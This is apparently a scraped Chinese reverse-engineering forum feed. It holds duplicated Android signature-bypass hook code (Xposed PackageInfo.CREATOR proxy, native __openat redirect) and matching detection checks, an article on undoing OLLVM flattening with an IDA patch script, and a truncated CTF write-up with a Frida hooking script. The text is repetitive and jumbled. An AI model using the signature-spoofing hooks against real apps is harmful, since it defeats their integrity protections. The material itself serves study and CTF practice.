Parcelable.Creator<PackageInfo> originalCreator
=
PackageInfo.CREATOR;
\\n
Parcelable.Creator<PackageInfo> proxiedCreator
=
new Parcelable.Creator<>() {
\\n
@Override
\\n
public PackageInfo createFromParcel(Parcel source) {
\\n
PackageInfo packageInfo
=
originalCreator.createFromParcel(source);
\\n
replaceSignature(context, packageInfo);
\\n
return
packageInfo;
\\n
}
\\n
@Override
\\n
public PackageInfo[] newArray(
int
size) {
\\n
return
originalCreator.newArray(size);
\\n
}
\\n
};
\\n
XposedHelpers.setStaticObjectField(PackageInfo.
class
,
\\"CREATOR\\"
, proxiedCreator);
\\n
try
{
\\n
Map
<?, ?> mCreators
=
(
Map
<?, ?>) XposedHelpers.getStaticObjectField(Parcel.
class
,
\\"mCreators\\"
);
\\n
mCreators.clear();
\\n
} catch (NoSuchFieldError ignore) {
\\n
} catch (Throwable e) {
\\n
Log.w(TAG,
\\"fail to clear Parcel.mCreators\\"
, e);
\\n
}
\\n
try
{
\\n
Map
<?, ?> sPairedCreators
=
(
Map
<?, ?>) XposedHelpers.getStaticObjectField(Parcel.
class
,
\\"sPairedCreators\\"
);
\\n
sPairedCreators.clear();
\\n
} catch (NoSuchFieldError ignore) {
\\n
} catch (Throwable e) {
\\n
Log.w(TAG,
\\"fail to clear Parcel.sPairedCreators\\"
, e);
\\n
}
\\n
}
\\nprivate static void proxyPackageInfoCreator(Context context) {
Parcelable.Creator<PackageInfo> originalCreator
=
PackageInfo.CREATOR;
\\n
Parcelable.Creator<PackageInfo> proxiedCreator
=
new Parcelable.Creator<>() {
\\n
@Override
\\n
public PackageInfo createFromParcel(Parcel source) {
\\n
PackageInfo packageInfo
=
originalCreator.createFromParcel(source);
\\n
replaceSignature(context, packageInfo);
\\n
return
packageInfo;
\\n
}
\\n
@Override
\\n
public PackageInfo[] newArray(
int
size) {
\\n
return
originalCreator.newArray(size);
\\n
}
\\n
};
\\n
XposedHelpers.setStaticObjectField(PackageInfo.
class
,
\\"CREATOR\\"
, proxiedCreator);
\\n
try
{
\\n
Map
<?, ?> mCreators
=
(
Map
<?, ?>) XposedHelpers.getStaticObjectField(Parcel.
class
,
\\"mCreators\\"
);
\\n
mCreators.clear();
\\n
} catch (NoSuchFieldError ignore) {
\\n
} catch (Throwable e) {
\\n
Log.w(TAG,
\\"fail to clear Parcel.mCreators\\"
, e);
\\n
}
\\n
try
{
\\n
Map
<?, ?> sPairedCreators
=
(
Map
<?, ?>) XposedHelpers.getStaticObjectField(Parcel.
class
,
\\"sPairedCreators\\"
);
\\n
sPairedCreators.clear();
\\n
} catch (NoSuchFieldError ignore) {
\\n
} catch (Throwable e) {
\\n
Log.w(TAG,
\\"fail to clear Parcel.sPairedCreators\\"
, e);
\\n
}
\\n
}
\\nLSP_DEF_NATIVE_METHOD(void, SigBypass, enableOpenatHook, jstring origApkPath, jstring cacheApkPath) {
auto sym_openat
=
SandHook::ElfImg(
\\"libc.so\\"
).getSymbAddress<void
*
>(
\\"__openat\\"
);
\\n
auto r
=
HookSymNoHandle(handler, sym_openat, __openat);
\\n
if
(!r) {
\\n
LOGE(
\\"Hook __openat fail\\"
);
\\n
return
;
\\n
}
\\n
lsplant::JUTFString str1(env, origApkPath);
\\n
lsplant::JUTFString str2(env, cacheApkPath);
\\n
apkPath
=
str1.get();
\\n
redirectPath
=
str2.get();
\\n
LOGD(
\\"apkPath %s\\"
, apkPath.c_str());
\\n
LOGD(
\\"redirectPath %s\\"
, redirectPath.c_str());
\\n}
LSP_DEF_NATIVE_METHOD(void, SigBypass, enableOpenatHook, jstring origApkPath, jstring cacheApkPath) {
auto sym_openat
=
SandHook::ElfImg(
\\"libc.so\\"
).getSymbAddress<void
*
>(
\\"__openat\\"
);
\\n
auto r
=
HookSymNoHandle(handler, sym_openat, __openat);
\\n
if
(!r) {
\\n
LOGE(
\\"Hook __openat fail\\"
);
\\n
return
;
\\n
}
\\n
lsplant::JUTFString str1(env, origApkPath);
\\n
lsplant::JUTFString str2(env, cacheApkPath);
\\n
apkPath
=
str1.get();
\\n
redirectPath
=
str2.get();
\\n
LOGD(
\\"apkPath %s\\"
, apkPath.c_str());
\\n
LOGD(
\\"redirectPath %s\\"
, redirectPath.c_str());
\\n}
private byte[] signatureFromAPK() {
try
(ZipFile zipFile
=
new ZipFile(getPackageResourcePath())) {
\\n
Enumeration<? extends ZipEntry> entries
=
zipFile.entries();
\\n
while
(entries.hasMoreElements()) {
\\n
ZipEntry entry
=
entries.nextElement();
\\n
if
(entry.getName().matches(
\\"(META-INF/.*)\\\\\\\\.(RSA|DSA|EC)\\"
)) {
\\n
InputStream
is
=
zipFile.getInputStream(entry);
\\n
CertificateFactory certFactory
=
CertificateFactory.getInstance(
\\"X509\\"
);
\\n
X509Certificate x509Cert
=
(X509Certificate) certFactory.generateCertificate(
is
);
\\n
return
x509Cert.getEncoded();
\\n
}
\\n
}
\\n
} catch (Exception e) {
\\n
e.printStackTrace();
\\n
}
\\n
return
null;
\\n}
private byte[] signatureFromAPK() {
try
(ZipFile zipFile
=
new ZipFile(getPackageResourcePath())) {
\\n
Enumeration<? extends ZipEntry> entries
=
zipFile.entries();
\\n
while
(entries.hasMoreElements()) {
\\n
ZipEntry entry
=
entries.nextElement();
\\n
if
(entry.getName().matches(
\\"(META-INF/.*)\\\\\\\\.(RSA|DSA|EC)\\"
)) {
\\n
InputStream
is
=
zipFile.getInputStream(entry);
\\n
CertificateFactory certFactory
=
CertificateFactory.getInstance(
\\"X509\\"
);
\\n
X509Certificate x509Cert
=
(X509Certificate) certFactory.generateCertificate(
is
);
\\n
return
x509Cert.getEncoded();
\\n
}
\\n
}
\\n
} catch (Exception e) {
\\n
e.printStackTrace();
\\n
}
\\n
return
null;
\\n}
public Application getmyApplication() {
Class<?> aaaaaaa
=
null;
\\n
try
{
\\n
aaaaaaa
=
Class.forName(
\\"android.app.ActivityThread\\"
);
\\n
Method currentActivityThreadMethod
=
aaaaaaa.getDeclaredMethod(
\\"currentActivityThread\\"
);
\\n
Object
activityThread
=
currentActivityThreadMethod.invoke(null);
\\n
Application application
=
(Application) getObjectField(activityThread,
\\"mInitialApplication\\"
);
\\n
Log.d(TAG,
\\"ActivityThread 获取 Application: \\"
+
application.getClass().getName());
\\n
return
application;
\\n
} catch (Exception e) {
\\n
Log.d(TAG,
\\"报错!: \\"
+
e.getMessage());
\\n
return
null;
\\n
}
\\n
}
\\npublic Application getmyApplication() {
Class<?> aaaaaaa
=
null;
\\n
try
{
\\n
aaaaaaa
=
Class.forName(
\\"android.app.ActivityThread\\"
);
\\n
Method currentActivityThreadMethod
=
aaaaaaa.getDeclaredMethod(
\\"currentActivityThread\\"
);
\\n
Object
activityThread
=
currentActivityThreadMethod.invoke(null);
\\n
Application application
=
(Application) getObjectField(activityThread,
\\"mInitialApplication\\"
);
\\n
Log.d(TAG,
\\"ActivityThread 获取 Application: \\"
+
application.getClass().getName());
\\n
return
application;
\\n
} catch (Exception e) {
\\n
Log.d(TAG,
\\"报错!: \\"
+
e.getMessage());
\\n
return
null;
\\n
}
\\n
}
\\nprivate boolean checkApplication(){
Application nowApplication
=
getmyApplication();
\\n
String trueApplicationName
=
\\"com.calvin.sigcheck.MYapp\\"
;
\\n
String nowApplicationName
=
nowApplication.getClass().getName();
\\n
Log.d(TAG,
\\"checkApplication: \\"
+
trueApplicationName
+
\\" \\"
+
nowApplicationName);
\\n
return
trueApplicationName.equals(nowApplicationName);
\\n
}
\\nprivate boolean checkApplication(){
Application nowApplication
=
getmyApplication();
\\n
String trueApplicationName
=
\\"com.calvin.sigcheck.MYapp\\"
;
\\n
String nowApplicationName
=
nowApplication.getClass().getName();
\\n
Log.d(TAG,
\\"checkApplication: \\"
+
trueApplicationName
+
\\" \\"
+
nowApplicationName);
\\n
return
trueApplicationName.equals(nowApplicationName);
\\n
}
\\nprivate boolean checkPMProxy(){
String truePMName
=
\\"android.content.pm.IPackageManager$Stub$Proxy\\"
;
\\n
String nowPMName
=
\\"\\";
\\n
try
{
\\n
/
/
被代理的对象是 PackageManager.mPM
\\n
PackageManager packageManager
=
getPackageManager();
\\n
Field mPMField
=
packageManager.getClass().getDeclaredField(
\\"mPM\\"
);
\\n
mPMField.setAccessible(true);
\\n
Object
mPM
=
mPMField.get(packageManager);
\\n
/
/
取得类名
\\n
nowPMName
=
mPM.getClass().getName();
\\n
} catch (Exception e) {
\\n
e.printStackTrace();
\\n
}
\\n
/
/
类名改变说明被代理了
\\n
return
truePMName.equals(nowPMName);
\\n
}
\\nprivate boolean checkPMProxy(){
String truePMName
=
\\"android.content.pm.IPackageManager$Stub$Proxy\\"
;
\\n
String nowPMName
=
\\"\\";
\\n
try
{
\\n
/
/
被代理的对象是 PackageManager.mPM
\\n
PackageManager packageManager
=
getPackageManager();
\\n
Field mPMField
=
packageManager.getClass().getDeclaredField(
\\"mPM\\"
);
\\n
mPMField.setAccessible(true);
\\n
Object
mPM
=
mPMField.get(packageManager);
\\n
/
/
取得类名
\\n
nowPMName
=
mPM.getClass().getName();
\\n
} catch (Exception e) {
\\n
e.printStackTrace();
\\n
}
\\n
/
/
类名改变说明被代理了
\\n
return
truePMName.equals(nowPMName);
\\n
}
\\nprivate boolean checkCreator3(){
try
{
\\n
Field creatorField
=
PackageInfo.
class
.getField(
\\"CREATOR\\"
);
\\n
creatorField.setAccessible(true);
\\n
Object
creator
=
creatorField.get(null);
\\n
int
i
=
creator.hashCode();
\\n
Log.d(TAG,
\\"checkCreator3: hashcode :\\"
+
i);
\\n
if
(creator !
=
null) {
\\n
ClassLoader creatorClassloader
=
creator.getClass().getClassLoader();
\\n
ClassLoader sysClassloader
=
ClassLoader.getSystemClassLoader();
\\n
if
(creatorClassloader
=
=
null || sysClassloader
=
=
null) {
\\n
return
false;
\\n
}
\\n
/
/
系统的是bootclassloader
\\n
/
/
用户创建的都是pathclassloader
\\n
/
/
如果相等则认为系统的被替换
\\n
if
(sysClassloader.getClass().getName().
\\n
equals(creatorClassloader.getClass().getName())) {
\\n
return
false;
\\n
}
\\n
return
true;
\\n
}
\\n
} catch (Throwable e) {
\\n
Log.d(TAG,
\\"checkCreator3: \\"
+
e);
\\n
}
\\n
return
false;
\\n}
private boolean checkCreator3(){
try
{
\\n
Field creatorField
=
PackageInfo.
class
.getField(
\\"CREATOR\\"
);
\\n
creatorField.setAccessible(true);
\\n
Object
creator
=
creatorField.get(null);
\\n
int
i
=
creator.hashCode();
\\n
Log.d(TAG,
\\"checkCreator3: hashcode :\\"
+
i);
\\n
if
(creator !
=
null) {
\\n
ClassLoader creatorClassloader
=
creator.getClass().getClassLoader();
\\n
ClassLoader sysClassloader
=
ClassLoader.getSystemClassLoader();
\\n
if
(creatorClassloader
=
=
null || sysClassloader
=
=
null) {
\\n
return
false;
\\n
}
\\n
/
/
系统的是bootclassloader
\\n
/
/
用户创建的都是pathclassloader
\\n
/
/
如果相等则认为系统的被替换
\\n
if
(sysClassloader.getClass().getName().
\\n
equals(creatorClassloader.getClass().getName())) {
\\n
return
false;
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n\\n\\n\\n\\n上传的附件:\\n本文仅限于技术讨论,不得用于非法途径,后果自负。
随着混淆技术和虚拟化的发展,我们不可能很方便的去得到我们想要的东西,既然如此,那只能比谁头更铁了,本文列举一下在逆向某一个签名字段中开发者所布下的铜墙铁壁,以及我的头铁方案,本文更多的是分析思路,而不是解决方案,所以样本自己找
在ARM64 中 寄存器跳转只剩下BR 指令了,由于ida 为了 br的准确性(cs:ip跳转),ida会识别成函数跳转,但是这却给开发者带来了天大的便利,于是乎,一个贼好用的anti 反编译器函数分析方案横空出世
让我们回到汇编
可以看到 X1的值是由sub_8D1F8 返回值加上 0x38 ,而sub_8D1F8一看地址 不对啊,为什么这么近。我们再看看sub_8D1F8的汇编
如果经常看汇编的小伙伴已经懂了
sub_8D1F8的返回值 被x30 也就是lr寄存器赋值 所以 X1 = sub_8D1F8返回地址 +0x38 = 0x8D1EC + 0x38 = 0x8d224
既然如此 直接改跳转吧,写个脚本模式匹配下
修复后
可以看到一排奇怪的东西
正常程序怎么会有呢,看看汇编
MSR NZCV, X0 x0 = 0 所以zf位为0 所以B.NE 恒成立 所以啥事没干 所以可以直接nop
简单的看下逻辑
0x8d240 在这个函数内 所以不是代码自解码 就是校验
查看sub_13C704
那就是检验咯 不管 下一个函数 sub_13DC3C
修复后发现f5 没东西
这怎么可能 切换到汇编,研究后
var_38 = x29 x29指向存放 x29 x30的栈地址 所以STR X9, [X10,#8] 等价于 x30 = x9 x0 是参数 所以回上一个函数
去看看吧 sub_8d5c8
这里简单介绍什么是控制流平坦化
源代码
经过平坦化后
可以看到一个 while switch 的结构 其中flowState 负责控制整个流程 这个就是平坦化的基本原理 可以看到8行普通的代码被膨胀到了23行 假如我再平坦化 一次呢 我们会发现随着平坦化的越来越多,肉眼阅读的能力也越来越困难
下面介绍一个我从国外看到的方案 0d1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Z5k6i4S2Q4x3X3c8J5j5i4W2K6i4K6u0W2j5$3!0E0i4K6u0r3j5X3I4G2k6#2)9J5c8X3S2W2P5q4)9J5k6s2u0S2P5i4y4Q4x3X3c8E0K9h3y4J5L8$3y4G2k6r3g2Q4x3X3c8S2M7r3W2Q4x3X3c8$3M7#2)9J5k6r3!0T1k6Y4g2K6j5$3q4@1K9h3&6Y4i4K6u0V1j5$3!0E0M7r3W2D9k6i4t1`.
下面画一个简单的cfg图
如果走到某一个节点2 必须经过另外一个节点1 那么 2 被 1 支配 1 是 2的支配节点
通过bitset 可以快速计算出来
0: 0
1: 1
2:0,1
3: 0,1
4:0,1,2
5:0,1,2,3
6:0,1,3
将其反转
可得0 是所有节点的支配节点
有什么用?
仔细看平坦化的代码 可以发现 while 会被所有节点支配 所以 控制流分发快 必定被所有节点支配 由此定位到了分发块
我们来看 如果从0要走到 5 有几种 路径
0125
0135
将cfg填充内容
可以得到 0125 flowState = 1, 0124 flowState = 2 那么如果计算支配节点的所有路径 是不是可以得到所有 flowState 的状态
通过switch 可以轻松得到 状态指向的地址
将每一个状态所对应的 地址 连接
检查每一个 没有前继节点的节点 删除 反编译器自动优化
假设 0节点 flowState = 0 1 节点flowState参与 2节点中 flowState = 1 那么 flowState 1节点 将被删除 反编译器自动优化
接下来回到这个demo
将他转换成cfg
计算支配节点 为0
0:0 flowState =0
1:01 flowState=0
2:02 flowState =3
3:04 flowState =4
4:04 flowState =0
5:05 flowState =0
6: 016 flowState =1
7: 017 flowState =2
0 => 1
1 => 2
2 => 3
3 => 4
4 -> 5
这就是简单的ollvm 还原方案
下面进入正题
计算支配节点 为 0x8C1EC
dfs 算法
符号执行 angr
!!! 熟悉的switch呢 这么变成bge了
这就是非标准的ollvm了 简单概括就是控制节点下发
通过if else if else 取代了switch 结构 干扰了状态指向计算 并且带来了更多的复杂性,使其无法定位真实代码块
通过研究 发现 开发者定位真实代码块的方案为
bne 跳转 等于值跳转
于是乎 模式匹配 找出所有cmp w8,value ? reg bne loc_???的代码 拿到真实块
这里又又又有幺蛾子
发现编译器优化 flowState 更新状态的代码 被优化成1份,类似于
有点类似于
优化后
这种只能想办法给他还原回去
ida 自动优化
由于编译器优化 你永远想不到会有多少幺蛾子 ,所以混淆还原应该还有2个步骤
1.对抗编译器优化 上述
2.魔改ollvm 还原成标准ollvm if elseif else 还原为switch
对这2个感兴趣的可以看看这个 338K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4m8J5L8$3k6K6i4K6u0W2M7$3y4A6i4K6u0W2N6h3&6A6N6Y4u0Q4x3X3g2A6N6q4)9J5c8W2)9%4c8h3N6A6j5h3y4G2i4K6u0r3k6r3!0%4L8X3I4G2j5h3c8Q4x3V1k6i4j5i4c8W2M7X3#2S2M7X3E0A6L8X3N6Q4x3X3c8a6j5X3k6#2M7$3y4S2N6r3W2G2L8W2)9J5c8Y4g2F1k6X3I4S2N6s2c8W2L8W2)9J5k6i4m8V1k6R3`.`.
完结撒花表情❀❀❀ ヾ(≧▽≦*)o
.text:
000000000008D1E8
BL sub_8D1F8
\\n.text:
000000000008D1EC
MOV X1, X0
\\n.text:
000000000008D1F0
ADD X1, X1,
#0x38 ; \'8\'
\\n.text:
000000000008D1F4
BR X1
\\n.text:
000000000008D1E8
BL sub_8D1F8
\\n.text:
000000000008D1EC
MOV X1, X0
\\n.text:
000000000008D1F0
ADD X1, X1,
#0x38 ; \'8\'
\\n.text:
000000000008D1F4
BR X1
\\n.text:
000000000008D1FC
STP X29, X30, [SP]
\\n.text:
000000000008D200
LDR X0, [SP,
#8]
\\n.text:
000000000008D1FC
STP X29, X30, [SP]
\\n.text:
000000000008D200
LDR X0, [SP,
#8]
\\ndef
antiBR1(start,end):
\\n
addr
=
start
\\n
while
addr < end :
\\n
insn
=
idc.print_insn_mnem(addr)
\\n
op0
=
idc.print_operand(addr,
0
)
\\n
op1
=
idc.print_operand(addr,
1
)
\\n
# .text:000000000008B03C BL loc_8B04C
\\n
# .text:000000000008B040 MOV X1, X0
\\n
# .text:000000000008B044 ADD X1, X1, #0x38 ; \'8\'
\\n
# .text:000000000008B048 BR X1
\\n
# match 4 instructions
\\n
if
insn
=
=
\\"BL\\"
and
(idc.print_insn_mnem(addr
+
0xc
).find(
\\"BR\\"
) !
=
-
1
or
idc.print_insn_mnem(addr
+
0x8
).find(
\\"BR\\"
) !
=
-
1
):
\\n
# find add
\\n
addr1
=
addr
\\n
while
1
:
\\n
str
=
get_instruction_at_address(addr1)
\\n
if
str
!
=
None
:
\\n
if
str
.find(
\\"ADD\\"
) !
=
-
1
:
\\n
break
\\n
addr1
=
addr1
+
4
\\n
opeValue
=
idc.get_operand_value(addr1,
2
)
\\n
print
(
\\"find add: %x\\"
%
opeValue)
\\n
# patch addr B (addr +4 + opeValue)
\\n
code,count
=
ks.asm(
\\"B \\"
+
hex
(addr
+
4
+
opeValue),addr)
\\n
print
(
hex
(addr))
\\n
ida_bytes.patch_bytes(addr, bytes(code))
\\n
addr
=
addr
+
4
\\ndef
antiBR1(start,end):
\\n
addr
=
start
\\n
while
addr < end :
\\n
insn
=
idc.print_insn_mnem(addr)
\\n
op0
=
idc.print_operand(addr,
0
)
\\n
op1
=
idc.print_operand(addr,
1
)
\\n
# .text:000000000008B03C BL loc_8B04C
\\n
# .text:000000000008B040 MOV X1, X0
\\n
# .text:000000000008B044 ADD X1, X1, #0x38 ; \'8\'
\\n
# .text:000000000008B048 BR X1
\\n
# match 4 instructions
\\n
if
insn
=
=
\\"BL\\"
and
(idc.print_insn_mnem(addr
+
0xc
).find(
\\"BR\\"
) !
=
-
1
or
idc.print_insn_mnem(addr
+
0x8
).find(
\\"BR\\"
) !
=
-
1
):
\\n
# find add
\\n
addr1
=
addr
\\n
while
1
:
\\n
str
=
get_instruction_at_address(addr1)
\\n
if
str
!
=
None
:
\\n
if
str
.find(
\\"ADD\\"
) !
=
-
1
:
\\n
break
\\n
addr1
=
addr1
+
4
\\n
opeValue
=
idc.get_operand_value(addr1,
2
)
\\n
print
(
\\"find add: %x\\"
%
opeValue)
\\n
# patch addr B (addr +4 + opeValue)
\\n
code,count
=
ks.asm(
\\"B \\"
+
hex
(addr
+
4
+
opeValue),addr)
\\n
print
(
hex
(addr))
\\n
ida_bytes.patch_bytes(addr, bytes(code))
\\n
addr
=
addr
+
4
\\n.text:
000000000008D53C
loc_8D53C ; CODE XREF: sub_8D170:loc_8D530↑j
\\n.text:
000000000008D53C
MRS X1, NZCV
\\n.text:
000000000008D540
MOV X0, XZR
\\n.text:
000000000008D544
CMP
X0, XZR
\\n.text:
000000000008D548
MSR NZCV, X0
\\n.text:
000000000008D54C
B.NE loc_8D558
\\n.text:
000000000008D550
CLREX
\\n.text:
000000000008D554
BRK
#3
\\n.text:
000000000008D558
\\n.text:
000000000008D558
loc_8D558 ; CODE XREF: sub_8D170
+
3DC
↑j
\\n.text:
000000000008D558
MSR NZCV, X1
\\n.text:
000000000008D53C
loc_8D53C ; CODE XREF: sub_8D170:loc_8D530↑j
\\n.text:
000000000008D53C
MRS X1, NZCV
\\n.text:
000000000008D540
MOV X0, XZR
\\n.text:
000000000008D544
CMP
X0, XZR
\\n.text:
000000000008D548
MSR NZCV, X0
\\n.text:
000000000008D54C
B.NE loc_8D558
\\n.text:
000000000008D550
CLREX
\\n.text:
000000000008D554
BRK
#3
\\n.text:
000000000008D558
\\n.text:
000000000008D558
loc_8D558 ; CODE XREF: sub_8D170
+
3DC
↑j
\\n.text:
000000000008D558
MSR NZCV, X1
\\n.text:
000000000013DCE4
000
MOV X30, X17
\\n.text:
000000000013DCE8
000
SUB SP, SP,
#0x50 ; \'P\'
\\n.text:
000000000013DCEC
050
STP X29, X17, [SP,
#0x50+var_10]
\\n.text:
000000000013DCF0
050
ADD X29, SP,
#0x50+var_10
\\n.text:
000000000013DCF4
050
STUR X0, [X29,
#-0x10]
\\n.text:
000000000013DCF8
050
STUR X1, [X29,
#-0x18]
\\n.text:
000000000013DCFC
050
STR
X0, [SP,
#0x50+var_30]
\\n.text:
000000000013DCE4
000
MOV X30, X17
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n\\n\\n\\n\\n\\n\\n\\n","description":"本文仅限于技术讨论,不得用于非法途径,后果自负。 随着混淆技术和虚拟化的发展,我们不可能很方便的去得到我们想要的东西,既然如此,那只能比谁头更铁了,本文列举一下在逆向某一个签名字段中开发者所布下的铜墙铁壁,以及我的头铁方案,本文更多的是分析思路,而不是解决方案,所以样本自己找\\n\\n在ARM64 中 寄存器跳转只剩下BR 指令了,由于ida 为了 br的准确性(cs:ip跳转),ida会识别成函数跳转,但是这却给开发者带来了天大的便利,于是乎,一个贼好用的anti 反编译器函数分析方案横空出世\\n\\n让我们回到汇编\\n\\n可以看到 X1的值是由sub_8D1F8 返回值加上…","guid":"https://bbs.kanxue.com/thread-285567.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2025-02-13T18:04:43.335Z","media":[{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_8SZXEBC9D4Y778F.png","type":"photo","width":1588,"height":867,"blurhash":"LISY{q~qD%~q_3ofafofD%fPoeay"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_6D3F9JC7T5DKHWT.png","type":"photo","width":1311,"height":412,"blurhash":"LdONB]4n4m9F%fRjWBj@00t7xuxt"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_2ZZDK45EW8KAJSH.png","type":"photo","width":1418,"height":1101,"blurhash":"LDRMYu8w00W??vI:NGoKD%t6snWB"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_PQ7PJRYVQWYJB7P.png","type":"photo","width":1123,"height":824,"blurhash":"L8SigQ-;IU_4-nRhWAWE00RiRiWB"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_MM7XWEH7H59MTT4.png","type":"photo","width":961,"height":278,"blurhash":"LuNTqNM{M_RiM|odj[j[4moyj^fl"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_8WD6YTMMREF9P44.png","type":"photo","width":1121,"height":838,"blurhash":"LDR{#@Rl9G%N%KWAfSoh00WAfOj]"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_KZ7BFHZANG6ZF4Y.png","type":"photo","width":1029,"height":244,"blurhash":"L-M7u;%MM{%M?bt7WBt700Rjt7Rj"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_TASBMDHPGMFJ2BM.png","type":"photo","width":839,"height":662,"blurhash":"LwO:w@D%D%M{i{f*fkaz4Tt7t7of"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_TXM6A4NMUEHQK86.png","type":"photo","width":1016,"height":313,"blurhash":"L{LqhGM_IUM{%MWBWBWC00t7t7t7"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_G9GSNPR8B7Y6B5D.png","type":"photo","width":505,"height":226,"blurhash":"LIRW6t~X_1.7?u%3Rkk9RPayNGjJ"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_XW4XFDDEWJ5H4YR.png","type":"photo","width":1779,"height":913,"blurhash":"LNO|@I?H-=%M,n%Mxvxs_4tlNFxZ"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_JJGB3K94ZBRBE56.png","type":"photo","width":1659,"height":648,"blurhash":"LCRpB}%2H?-p0PRQRjRj~9Vra0i^"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_WMMHB6JQYEDAPXC.png","type":"photo","width":1638,"height":584,"blurhash":"LPQm9qyYsl%2tSt6WBRk}+.RRPRP"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_3XBPHQ48E3UAMNF.png","type":"photo","width":1613,"height":592,"blurhash":"LERfqY.8M|.80Qa#R*WC~Ut6oeof"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_XG5VBTAT4SH4HF3.png","type":"photo","width":1598,"height":860,"blurhash":"LTQAN,%3-;t7~Vx[ofoJ?vR+IUt7"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_GFJ8RRXFW4QU96A.png","type":"photo","width":1582,"height":615,"blurhash":"LDQJ=o.6x^?c?XIoV@oe~j$-WBWT"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_P55V3S3772F9N6Z.png","type":"photo","width":1968,"height":607,"blurhash":"LJQ^H*-;oz-;~WbIaeofozjZaea|"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_ZGDREUXVJTGH4U5.png","type":"photo","width":195,"height":78,"blurhash":"LJRD1W_NRO?v~pWVRkkC9uM{xaRj"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_M8KH5K9F4YZ7DUE.png","type":"photo","width":458,"height":109,"blurhash":"LERC[E~pt6-=-+WAxt%K04-:t8WE"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_8K9ARC3HBVQPMFM.png","type":"photo","width":841,"height":352,"blurhash":"LWPZ$A%MV@tR9GWBWCjs4mjsofWV"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_BANJ43FNQ2MYKF8.png","type":"photo","width":368,"height":190,"blurhash":"LKR3cv?bt1?vS^oeRQWB0dRjofR*"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_EVSTSKYXNWT5X45.png","type":"photo","width":1625,"height":1007,"blurhash":"LESY~zkYIp?u~qWCa{of9Fs:s:oL"},{"url":"https://bbs.kanxue.com/upload/attach/202502/856431_Y5VMFG344SRAHCA.png","type":"photo","width":1503,"height":956,"blurhash":"LBSs53kZD+?v_4bIWqofIUt5j?WC"}],"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创] 2025吾愛解題領紅包活動(Android題解)","url":"https://bbs.kanxue.com/thread-285550.htm","content":"\\n\\n簡單寫一下Android部份的解題思路。
\\n明顯的xxtea特徵。
\\n
解密後直接得到flag
\\n
目標是找到秘鑰。
\\n
Java層關鍵邏輯如下,調用了Check
函數來檢查密鑰。
是個native函數。
\\n
嘗試直接hook RegisterNatives
,發現Check
果然是動態注冊的,在0xe8c54
。
Check
一開始是一些反調試邏輯。
先看anti1
,它調用decrypt_str
解密字符串,但奇怪的是解密出來的字符串不是以\\\\x00
結尾,導致opendir
直接失敗,使得後面的反調試邏輯形同虛設?( 不知是故意的還是不小心的 )
anti2
、do_something1
也同理,皆因為decrypt_str
的問題導致後續的邏輯失效。
繼續向下跟,看到它動態計算出一個函數地址,大概率就是加密函數,最後與密文進行對比。
\\n一開始以為動態計算的那個函數地址是固定的,後來才發現有兩個不同的地址,會隨著上面anti1
、anti2
、do_something1
、getenv
等函數返回的結果而改變。
類似蜜罐的概念,當觸發anti邏輯後,不主動殺死APP,而是改變程序的執行流,導向錯誤的分支。
\\n
func1
、func2
如下,前者是錯誤的分支,後者是正確的,我的環境默認會走func1
。
可以看到兩者的加密方式都是相同的異或加密,不同的只有異或的值。
\\n
經測試發現,手動hook getenv
、do_something1
修改其參數、返回值後,程序才會走向func2
。這時再hook encrypt
,將正確的異或值dump下來。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 | function hook_dlopen(soName) { Interceptor.attach(Module.findExportByName(null, \\"dlopen\\" ), { onEnter: function (args) { var pathptr = args[ 0 ]; if (pathptr ! = = undefined && pathptr ! = null) { var path = ptr(pathptr).readCString(); if (path.indexOf(soName) > = 0 ) { this.is_can_hook = true; } } }, onLeave: function (retval) { if (this.is_can_hook) { console.log( \\"hook start...\\" ); hook_func(soName) } } } ); Interceptor.attach(Module.findExportByName(null, \\"android_dlopen_ext\\" ), { onEnter: function (args) { var pathptr = args[ 0 ]; if (pathptr ! = = undefined && pathptr ! = null) { var path = ptr(pathptr).readCString(); if (path.indexOf(soName) > = 0 ) { this.is_can_hook = true; } } }, onLeave: function (retval) { if (this.is_can_hook) { console.log( \\"hook start...\\" ); hook_func(soName) } } } ); } function hook_func(soName) { function hook_xorkey(base) { Interceptor.attach(base.add( 0xE9954 ), { onLeave: function(retval) { console.log( \\"[xor_key] \\" , hexdump(retval)) } }) } function hook_test2(base) { Interceptor.attach(base.add( 0xE98A0 ), { onEnter: function(args) { console.log( \\"[call func2] \\" ) } }) / / do_something1 Interceptor.attach(base.add( 0xE74E8 ), { onEnter: function(args) { console.log( \\"[call dosomething1] \\" ) }, onLeave: function(retval) { console.log( 